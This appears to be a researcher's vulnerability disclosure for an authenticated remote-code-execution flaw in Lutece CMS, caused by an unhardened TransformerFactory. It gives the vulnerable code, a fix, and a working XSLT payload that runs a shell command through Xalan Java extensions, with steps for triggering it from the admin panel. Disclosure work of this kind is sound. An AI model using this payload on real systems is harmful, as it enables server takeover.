← Back to the reef

(Critical) Authenticated RCE via XSLT injection in Lutece Core <= 7.1.7

CVE-2026-4813 (CVSS-B 9.4 CRITICAL)

I started looking into Lutece CMS as it is used and developed by the City of Paris which makes it an interesting target. After hours of setting up the lab (it was really challenging I swear) I finally managed to test the vulnerability I found via static analysis. The XML/XSLT parser does not block Java extensions via FEATURE_SECURE_PROCESSING which allows an authenticated attacker to add a stylesheet capable of executing malicious Java code.

MITRE link here.

Changelog from Lutece here.

Details

Admins can upload XSLT stylesheets via StyleSheetJspBean. XmlTransformer.java initializes TransformerFactory without enabling XMLConstants.FEATURE_SECURE_PROCESSING

Vulnerable code (src/java/fr/paris/lutece/util/xml/XmlTransformer.java:111):

try   {
   result = TransformerFactory.newInstance( ).newTemplates( stylesheet );
   AppLogService.debug( " --  XML Templates instantiation : strStyleSheetId= {}", strStyleSheetId );
}

As you can see, the TransformerFactory is instantiated without hardening. A basic example of how we could implement FEATURE_SECURE_PROCESSING :

try {
    TransformerFactory factory = TransformerFactory.newInstance();
    factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
    result = factory.newTemplates(stylesheet);
    AppLogService.debug( " --  XML Templates instantiation : strStyleSheetId= {}", strStyleSheetId );
}

PoC

You need an account with admin privileges.

  1. On the admin panel, navigate to the XSL export management page : /jsp/admin/AdminTechnicalMenu.jsp?tab=xslexportManagement#xslexport

  2. Click on "Add a new transformation sheet".

  3. Upload an .xsl file with the payload (simple id command) :

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" 
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
    xmlns:proc="http://xml.apache.org/xalan/java/java.lang.Process"
    xmlns:is="http://xml.apache.org/xalan/java/java.io.InputStreamReader"
    xmlns:br="http://xml.apache.org/xalan/java/java.io.BufferedReader">

    <xsl:template match="/">
        <xsl:variable name="process" select="rt:exec(rt:getRuntime(), 'id')"/>
        <xsl:variable name="inputStream" select="proc:getInputStream($process)"/>

        <xsl:variable name="reader" select="is:new($inputStream)"/>
        <xsl:variable name="buffereReader" select="br:new($reader)"/>
        <xsl:variable name="resultat" select="br:readLine($buffereReader)"/>

        <Output>
            <xsl:value-of select="$resultat"/>
        </Output>
    </xsl:template>
</xsl:stylesheet>
  1. Save the new XSL sheet.

  2. Navigate to the export users page : /jsp/admin/user/ExportUsers.jsp

  3. Select the transformation sheet that we just created and validate.

  4. The result of the id command should be in the exported file.